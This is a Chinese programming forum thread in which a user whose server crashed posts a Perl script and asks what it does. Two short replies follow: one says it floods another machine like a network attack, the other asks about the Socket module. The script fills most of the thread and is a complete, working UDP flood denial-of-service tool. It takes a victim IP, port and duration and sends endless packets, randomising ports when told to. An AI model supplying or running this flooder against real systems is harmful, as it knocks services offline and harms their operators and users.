| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 2605 人关注过本帖
标题:【求助】读取编辑好的脚本后,服务器出现死机现象,请解释下这段代码是什么 ...
只看楼主 加入收藏
古月2549
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2019-2-9
收藏
 问题点数:0 回复次数:2 
【求助】读取编辑好的脚本后,服务器出现死机现象,请解释下这段代码是什么用途 越详细越好!!
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Slashing SirVic's server on victim...\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 x) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
搜索更多相关主题的帖子: port time rand size goto 
2019-02-09 10:39
fall_bernana
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:贵宾
威 望:17
帖 子:243
专家分:2106
注 册:2019-8-16
收藏
得分:0 
回复 楼主 古月2549
for (;;) {
}
会无限制的send消息给别的机器,类似于网络攻击
2020-11-13 14:27
周秋生
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2021-9-8
收藏
得分:0 
请问这个模块有什么用 use Socket;


2021-09-08 10:43
快速回复:【求助】读取编辑好的脚本后,服务器出现死机现象,请解释下这段代码是 ...
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.014802 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved